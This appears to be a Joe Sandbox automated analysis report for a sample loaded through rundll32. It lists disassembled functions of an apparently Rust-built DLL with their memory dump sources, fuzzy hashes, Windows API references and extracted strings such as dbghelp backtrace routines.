{invalid syntax}{recursion limit reached}?'for<> ::{closureshim# as mut const ; dyn + unsafe extern ", xrefs: 6CC444E7

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID: {invalid syntax}{recursion limit reached}?'for<> ::{closureshim# as mut const ; dyn + unsafe extern "
API String ID: 0-1066123878
Opcode ID: e3fb2fd3f7f08921de641e70e403edfbe6e9327de7d42be22fe162c48e2ce1e6
Instruction ID: 8179366a9e44d0b9eec65af0905750f0e6c8fa46718e06a5f6ce66d0a150c0f4
Opcode Fuzzy Hash: e3fb2fd3f7f08921de641e70e403edfbe6e9327de7d42be22fe162c48e2ce1e6
Instruction Fuzzy Hash: 2491E5B1F042118BEF04CE99D8807AAB7B1BF45718F39C569C919ABF86F731D8058792

Function 0467F3BE Relevance: 1.4, Strings: 1, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

Strings

N@, xrefs: 0467F3CE

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID:
String ID: N@
API String ID: 0-1509896676
Opcode ID: 92e9a144b7047ce14b539b05f6d9118c1a7fbc1d7368d7adfc1bc9e5646efcc8
Instruction ID: 4590bd7383b4ecfceca6157ca4dd4c1381756f7bce9cb77f7b5188e0af33872d
Opcode Fuzzy Hash: 92e9a144b7047ce14b539b05f6d9118c1a7fbc1d7368d7adfc1bc9e5646efcc8
Instruction Fuzzy Hash: DF614C729003158FDB18CF48C484AAEBBF2FF84314F1AC5AED9095B366D7B1A955CB84

Function 6CBC66D9 Relevance: .6, Instructions: 632COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e727a621d00d13b420eb3f9e2c247164b0b1b2176a63980fb85778219ce7215
Instruction ID: 0ff48e9463f362da2d00663d80c7e9e429e3fbc13992de4ad6f8074887cbe4e5
Opcode Fuzzy Hash: 4e727a621d00d13b420eb3f9e2c247164b0b1b2176a63980fb85778219ce7215
Instruction Fuzzy Hash: 132238303497C06AC319462995E1A7ABBD1CB99308F18895EF9C5CFF47E960AC4AD353

Function 0466822F Relevance: .6, Instructions: 608COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03201e0e03f7247301a9f3b9842e29ce0bf10146ca8ad560d00c21ca95526b81
Instruction ID: bf85461256548dd513dce4fea388fae9642751d3f5c6d9c04df344186edf765c
Opcode Fuzzy Hash: 03201e0e03f7247301a9f3b9842e29ce0bf10146ca8ad560d00c21ca95526b81
Instruction Fuzzy Hash: 14226277E5151A8BDB08CA95CC515D9B3E3BBC8314B1F9129C819E3305EE79BA478BC0

Function 6CC128F9 Relevance: .5, Instructions: 482COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memcmpmemmovememset
String ID:
API String ID: 3819852886-0
Opcode ID: d10e5ff6e179efe6450e7f5fb2321c7a6a1267a6dccef899b8370cb85041ab11
Instruction ID: 8a42b1241f2ac05454cd13958db411483246c199db1653ba5dd563e043147a1c
Opcode Fuzzy Hash: d10e5ff6e179efe6450e7f5fb2321c7a6a1267a6dccef899b8370cb85041ab11
Instruction Fuzzy Hash: 5A125D756087818FC724CF25C490A9BF7E2BFC9354F10891EE9999B750EB70E949CB82

Function 04661E5F Relevance: .5, Instructions: 479COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a18a39034562e4ef56181b6472f78a3d58a52de4784536d304669c9489a0e268
Instruction ID: fd716e50ae1fc95330478c096290ff67302f56a24b71f5906216667f2088ea19
Opcode Fuzzy Hash: a18a39034562e4ef56181b6472f78a3d58a52de4784536d304669c9489a0e268
Instruction Fuzzy Hash: DE2224B0A00B059FDB24DF69C590AAABBF1FF98304F108A6DD95A97755E730B881CB50

Function 6CBC8430 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29778ac0bfa48734dd999e13bb2fa210d01775d564a6223aaadad449832973f3
Instruction ID: 152762c2ee9edb7f55bcab78b8146858ae17556225c544193685b2b462a39436
Opcode Fuzzy Hash: 29778ac0bfa48734dd999e13bb2fa210d01775d564a6223aaadad449832973f3
Instruction Fuzzy Hash: 83A116B6E29BC14BD302963D9802265F794AFE7284F15D71FFDE072992FB21A2818245

Function 6CBCE875 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c295dc9c11afd6b5c65f7781790d4adc694948e870fee69878cbf9a93b5ea678
Instruction ID: acb0fedbddc0ad9947356e602eae98edc5f94bbca4a5debaa2092fece1c948c0
Opcode Fuzzy Hash: c295dc9c11afd6b5c65f7781790d4adc694948e870fee69878cbf9a93b5ea678
Instruction Fuzzy Hash: E6A18A3160C786DFC714CF19C4C165ABBE2EB89318F15892EE8998BB42D770E945CB92

Function 6CBDA64D Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3093d92d4e69380833eab5e25978ebbfea2a503336af9cd30574c91dc9b678e5
Instruction ID: 1bc0b3af4147ca549d35f8298d9b405dce1d8629f84dc75afe60cbb49525477c
Opcode Fuzzy Hash: 3093d92d4e69380833eab5e25978ebbfea2a503336af9cd30574c91dc9b678e5
Instruction Fuzzy Hash: F0A16D716093829FC704CF15C09065AFBE2FFC9714F16895EE8998B652D770E986CF82

Function 6CBE5E16 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f42a675b156593e3b90c27f80e174efd7fbdb2be8e0add25d80da928f42a92b
Instruction ID: d4accabae6bf5128fae3c657238961b74bacde00b887fc24a46d067a643fa7c2
Opcode Fuzzy Hash: 7f42a675b156593e3b90c27f80e174efd7fbdb2be8e0add25d80da928f42a92b
Instruction Fuzzy Hash: 3C914CB2A087169FD304CF65C48025AF7E2FFC8754F1ACA2EE9999B641C774E8458BC1

Function 6CC4DFFE Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a087bbefd7dd493e46dba76d67e5d68281cfcca480f7f23a2a16b940d04f0816
Instruction ID: a34eb088d7296656cc237de6ba74501d70eea4463562ea3bea067350357c86b3
Opcode Fuzzy Hash: a087bbefd7dd493e46dba76d67e5d68281cfcca480f7f23a2a16b940d04f0816
Instruction Fuzzy Hash: E8713AB2E042658FCB04CFA984902EDFFF1AF59300F1AC26ED475AB392E2754546DB90

Function 6CC54CCF Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f75a8c0f385653d582e7f81774aaeaaece723f219d39d4f48f21a4b1ea3c0790
Instruction ID: 538c46850546e280e2ddb7e05e0223d3df36bf1fc51f412054791b72b6d4e3cd
Opcode Fuzzy Hash: f75a8c0f385653d582e7f81774aaeaaece723f219d39d4f48f21a4b1ea3c0790
Instruction Fuzzy Hash: F071FF76F087159BD308DE65C89035FF7E2EBC8710F1AC83DA899D7784DA7498419B82

Function 6CC54898 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e5e75635102fd5c4cae7f7c8f902134db88453d4cb4e5063b7c947140e59f36
Instruction ID: 7b0bab0a2728e2e788ad4114dedfed26ace73fcb77e3535435a44fc7bb85f1b5
Opcode Fuzzy Hash: 9e5e75635102fd5c4cae7f7c8f902134db88453d4cb4e5063b7c947140e59f36
Instruction Fuzzy Hash: 5F5170B2F083194BE318EEB5D89035BF2D2EBC8710F0AC93DA999D7784E9B59C4456C1

Function 6CBDCF24 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99828d06bc808f93db10b0e30e0ebd7fc51d953f3c179bb59066ef1b3e1433ce
Instruction ID: ee1b1321e2bcbd13c7e10ee2196d940f2b11246b0f93d36b17fffc4508ac8d83
Opcode Fuzzy Hash: 99828d06bc808f93db10b0e30e0ebd7fc51d953f3c179bb59066ef1b3e1433ce
Instruction Fuzzy Hash: 61515D72E08B149BD318DE6AC89035FF3E2EFC8310F1AC93DE8D997644C675A8419B81

Function 6CBD9D26 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50ca7786af505535b93f7ebbf5f372ed01d22d6b6347e7d5886ace9d1d2504c9
Instruction ID: 495b380decf1c941d47f5d722d62fbfbf032c4773202c2321501a1f1511f8f8d
Opcode Fuzzy Hash: 50ca7786af505535b93f7ebbf5f372ed01d22d6b6347e7d5886ace9d1d2504c9
Instruction Fuzzy Hash: E5516371B0931C4FE308ADB5DD903AFF2D2E7C8710F0A883DA999C7784E9B9994566C1

Function 6CC63CF4 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97c76fc4d81efcb39dec3207b4a4b37bcf4a361830466e7e062f4cc4ad3e4a54
Instruction ID: a7479c2c457362b490d10dbe1fc1af92be270682906aee733e886c11543af5d2
Opcode Fuzzy Hash: 97c76fc4d81efcb39dec3207b4a4b37bcf4a361830466e7e062f4cc4ad3e4a54
Instruction Fuzzy Hash: 0841CE716083459FD314DF2AC9C071AB7E2AF84314F18C97DEA998BB42F770D8508BA1

Function 6CBEE3C7 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63d273de7ea83eaa8cdb4c9b25e6d59247764ef46f8c646bebec3ab35274763a
Instruction ID: 242f40cfa926873b290998365994def67bb2f0ebd0995ec37df8773c946a0ee2
Opcode Fuzzy Hash: 63d273de7ea83eaa8cdb4c9b25e6d59247764ef46f8c646bebec3ab35274763a
Instruction Fuzzy Hash: 0C41AD326082558FC318DF69C88095EF7E6EBCC650F4A492DE585D7790EB30ED058B86

Function 6CC5A508 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f730da10b801ecb4090b3950e3b8df238d33b1381d0c2067e506f8d21231a97d
Instruction ID: bc5f856c923f5bf2771e59dd66742831fa59bdd6f9e2aff72b0e4b16543f68d7
Opcode Fuzzy Hash: f730da10b801ecb4090b3950e3b8df238d33b1381d0c2067e506f8d21231a97d
Instruction Fuzzy Hash: 53213833B006204BCB14C978C8817A6B3D69BC5664F568325ED65AF6D1FB329C9B86D0

Function 6CC4C9B0 Relevance: 49.3, APIs: 19, Strings: 9, Instructions: 305libraryloadersynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000), ref: 6CC4C9F0
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 6CC4CA04
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6CC4CA36
GetProcAddress.KERNEL32(SymSetOptions), ref: 6CC4CA64
GetProcAddress.KERNEL32(SymInitializeW), ref: 6CC4CA93
GetCurrentProcess.KERNEL32(SymInitializeW), ref: 6CC4CAB1
memset.VCRUNTIME140(00000000,00000000,000007FE), ref: 6CC4CB04
GetProcAddress.KERNEL32(SymGetSearchPathW), ref: 6CC4CB34
GetCurrentProcess.KERNEL32(SymGetSearchPathW), ref: 6CC4CB48
lstrlenW.KERNEL32(00000002), ref: 6CC4CB5C
memmove.VCRUNTIME140(?,Local\RustBacktraceMutex00000000,00000021), ref: 6CC4CB82
GetCurrentProcessId.KERNEL32 ref: 6CC4CB8A
CreateMutexA.KERNEL32(00000000,00000000,?), ref: 6CC4CC0C
CloseHandle.KERNEL32(00000000), ref: 6CC4CC2B
ReleaseMutex.KERNEL32(00000000), ref: 6CC4CC39
GetProcAddress.KERNEL32(EnumerateLoadedModulesW64), ref: 6CC4CCBC
GetCurrentProcess.KERNEL32(EnumerateLoadedModulesW64), ref: 6CC4CCD0
GetProcAddress.KERNEL32(SymSetSearchPathW), ref: 6CC4CD2E
GetCurrentProcess.KERNEL32(SymSetSearchPathW), ref: 6CC4CD3E

Strings

SymInitializeW, xrefs: 6CC4CA88
SymSetSearchPathW, xrefs: 6CC4CD23
dbghelp.dll, xrefs: 6CC4C9FF
SymGetSearchPathW, xrefs: 6CC4CB29
assertion failed: len >= 0, xrefs: 6CC4CDBE
EnumerateLoadedModulesW64, xrefs: 6CC4CCB1
SymSetOptions, xrefs: 6CC4CA59
Local\RustBacktraceMutex00000000, xrefs: 6CC4CB7C
SymGetOptions, xrefs: 6CC4CA30

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: AddressProc$CurrentProcess$Mutex$CloseCreateHandleLibraryLoadObjectReleaseSingleWaitlstrlenmemmovememset
String ID: EnumerateLoadedModulesW64$Local\RustBacktraceMutex00000000$SymGetOptions$SymGetSearchPathW$SymInitializeW$SymSetOptions$SymSetSearchPathW$assertion failed: len >= 0$dbghelp.dll
API String ID: 2639809894-356128008
Opcode ID: da5b132e608e21cf6c68c107e82b860df482aea01baaf3c89edb0f069208b4b2
Instruction ID: 8fb14af3e02b37b3ea967a6a615a51fb5bf9f9c26b09b8811d2fdb556b75a93b
Opcode Fuzzy Hash: da5b132e608e21cf6c68c107e82b860df482aea01baaf3c89edb0f069208b4b2
Instruction Fuzzy Hash: 07C10370E006588BDF10DFAAC9947EEBBB4AF49314F20C129D815B7B90FB748949CB90

Function 6CC50130 Relevance: 42.5, APIs: 17, Strings: 7, Instructions: 452libraryloadersynchronizationCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CC50227
GetCurrentDirectoryW.KERNEL32(00000000,00000002), ref: 6CC50232
GetLastError.KERNEL32 ref: 6CC5023E
GetCurrentProcess.KERNEL32 ref: 6CC5046B
GetCurrentThread.KERNEL32 ref: 6CC50473
memset.VCRUNTIME140(?,00000000,000002D0), ref: 6CC5048A
RtlCaptureContext.KERNEL32(?), ref: 6CC50493

Part of subcall function 6CC4C9B0: WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000), ref: 6CC4C9F0
Part of subcall function 6CC4C9B0: LoadLibraryA.KERNEL32(dbghelp.dll), ref: 6CC4CA04
Part of subcall function 6CC4C9B0: GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6CC4CA36
Part of subcall function 6CC4C9B0: GetProcAddress.KERNEL32(SymSetOptions), ref: 6CC4CA64
Part of subcall function 6CC4C9B0: GetProcAddress.KERNEL32(SymInitializeW), ref: 6CC4CA93
Part of subcall function 6CC4C9B0: GetCurrentProcess.KERNEL32(SymInitializeW), ref: 6CC4CAB1
Part of subcall function 6CC4C9B0: memset.VCRUNTIME140(00000000,00000000,000007FE), ref: 6CC4CB04

GetProcAddress.KERNEL32(SymFunctionTableAccess64), ref: 6CC504C9
GetProcAddress.KERNEL32(SymGetModuleBase64), ref: 6CC504F2
GetCurrentProcess.KERNEL32(SymGetModuleBase64), ref: 6CC50506
GetProcAddress.KERNEL32(StackWalkEx), ref: 6CC50528
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CC5054B
ReleaseMutex.KERNEL32(?), ref: 6CC50651
memset.VCRUNTIME140(?,00000000,00000100,StackWalkEx), ref: 6CC506DD
GetProcAddress.KERNEL32(StackWalk64), ref: 6CC50784
GetLastError.KERNEL32 ref: 6CC50253

Part of subcall function 6CBC5AD0: RtlFreeHeap.NTDLL(00000000,?,6CC47E44), ref: 6CBC5AE1

Strings

SymGetModuleBase64, xrefs: 6CC504E7
internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CC50808
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...], xrefs: 6CC50678
SymFunctionTableAccess64, xrefs: 6CC504BE
stack backtrace:, xrefs: 6CC503F0
StackWalk64, xrefs: 6CC50779
StackWalkEx, xrefs: 6CC5051D

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: AddressProc$Current$memset$ErrorLastProcess$CaptureContextDirectoryFreeHeapLibraryLoadMutexObjectReleaseSingleThreadWait
String ID: StackWalk64$StackWalkEx$SymFunctionTableAccess64$SymGetModuleBase64$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs$note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...]$stack backtrace:
API String ID: 3073563537-3001507533
Opcode ID: 7b72269100d51c6d28e9f590a4c76c3fcf6814794bf8ebba715d8a9f96abf108
Instruction ID: f17eeca277376dc92c089f84df32e9d3da52cc91f5d7a0b163051673bc0f13b9
Opcode Fuzzy Hash: 7b72269100d51c6d28e9f590a4c76c3fcf6814794bf8ebba715d8a9f96abf108
Instruction Fuzzy Hash: 792234B0500B808FD7608F26C994B93BBF4BF49308F504A1DD8EA87B81EB75B559CB95

Function 6CC387AB Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 429COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000B4), ref: 6CC387FA

Part of subcall function 6CC46A27: memmove.VCRUNTIME140(?,00000000,?,?,?,6CC38843), ref: 6CC46A5D

memmove.VCRUNTIME140(?,?,000000C0), ref: 6CC38955
memmove.VCRUNTIME140(?,?,000000B4), ref: 6CC38C1C

Part of subcall function 6CC4738F: CertDuplicateCertificateContext.CRYPT32(?), ref: 6CC47390

memmove.VCRUNTIME140(?,?,000000C0), ref: 6CC38A75
FreeContextBuffer.SECUR32(?), ref: 6CC38AB0
memmove.VCRUNTIME140(?,?,000000C0), ref: 6CC38B32

Part of subcall function 6CC472E6: CertDuplicateStore.CRYPT32(?), ref: 6CC472E7

Part of subcall function 6CC35A78: memmove.VCRUNTIME140(?,?,00000160,?,?,?,00000000,?,6CC38BE8), ref: 6CC35AA7

memmove.VCRUNTIME140(?,?,0000009C), ref: 6CC38C39
memmove.VCRUNTIME140(?,?,000000B4), ref: 6CC38C9A
